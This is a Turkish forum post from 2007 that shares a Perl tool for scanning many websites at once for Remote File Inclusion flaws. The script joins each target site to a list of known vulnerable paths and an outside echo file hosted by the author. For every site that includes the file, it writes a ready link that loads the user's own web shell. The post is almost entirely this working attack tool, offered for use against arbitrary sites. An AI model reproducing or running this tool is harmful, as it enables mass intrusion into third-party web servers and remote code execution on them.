Toplu Rfi Scanner [EasyRfi Scanner perl version] - DosyaArsivi.Com® | Hosting ~ ProgramLar ~ OyunLar ~ Kitap ~ Donanım&YazıLım ~ Sohbet ~ İnternet HizmetLeri

**ghostroot** · 17. July 2007, 03:10

Toplu Rfi Scanner [EasyRfi Scanner perl version]

Mrb arkadaşlar.Perl de coklu rfi tarıyan bir program yaptım.

Gerçekten cok hızlı calışıyor..Mutlaka bakın derim

================================================== ====

#!/usr/bin/perl
####################################
# (C)oded by h4ckinger
# Hackinger's Web Page: [Yalnızca Kayıtlı Üyeler Linkleri Görebilir. Ücretsiz Üye Olmak İçin Tıklayınız!]
#plz send e-mail me when u find a bug in this script
# mail:hackingerboy@gmail.com
# EasyRfi Scanner perl version v0.1
#greatz ;
#Darkcode,CyberGhost,excellance,redLine,RealWarrio r,The_BeKi R,bolivar,Mardinli,RiceBoy,****llicali...
#and All my Friends...
####################################
use LWP::Simple;
use LWP::UserAgent;
my $OperatingSystem = $^O;
my $unix = "";
if (index(lc($OperatingSystem),"win")!=-1){
$unix="0"; #windows system
}else{
$unix="1"; #unix system
}
if($unix){
system("clear");
}
else{system("cls");}
print q
[ ; oooooooooooooooooooooooooooooooooooooooooooooooooo
o o
o ; EasyRfi Scanner perl version 0.1 o
o Coded By h4ckinger o
o Greatz All my Friends ; o
oooooooooooooooooooooooooooooooooooooooooooooooooo o
];

print "Site List File:";
$listsite=<STDIN>;
chomp($listsite);
if(!-e $listsite){
print "$listsite doesn't exist";
exit;
}
print "RFi List File:";
$bugs=<STDIN>;
chomp($bugs);
if(!-e $bugs){
print "$bugs doesn't exist";
exit;
}
print "Enter Your Shell adress:";
$shell=<STDIN>;
chomp($shell);
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($shell);
if($res->is_success)
{

print "Scaning...";
sleep(2);
$rfidene="http://www.hackinger.org/tool/echo.txt";
unlink("result.html");
if(open(result,">>result.html")){
print result "<body bgcolor=black> <center>EasyRfi Scanner Perl Version 0.1 (C)oded by h4ckinger</center><hr>< ;br>";
if(open (bug,$bugs)){
while ($rfi=<bug>) {
$rfi=~s/n//;
if(open (file,$listsite)){
while ($teksite=<file>) {
$teksite=~s/n//;
$page=get("$teksite$rfi$rfidene") ;
if(open(result,">>result.html")){
if($page=~/rfiisliyorbyh4ckinger/){
print result "[+]Found Rfi :   <a href=$teksite$rfi$shell?>$teksite$rfi$shell?</a></b&g t; ";
}
print result "[-]Not Found :    $teksite " if(!$1);
}else {print "File can't open";exit;}

}
}else {print "File can't open";exit;}
}
}
else {print "File can't open";exit;}
close result;
close file;
close bug;
print "Rfi Logs created...nYou can Look Result.html";
system("start result.html");

}else {print "File can't open";exit;}
}else{print "Check your Shell adress.it's can't work"; exit;}

================================================== =====

:: Foto Galeri ::

:: Makaleler ::

:: Depo ::

:: Forum Kuralları ::

:: Blog ::

:: Tasarım ::

:: Sohbet ::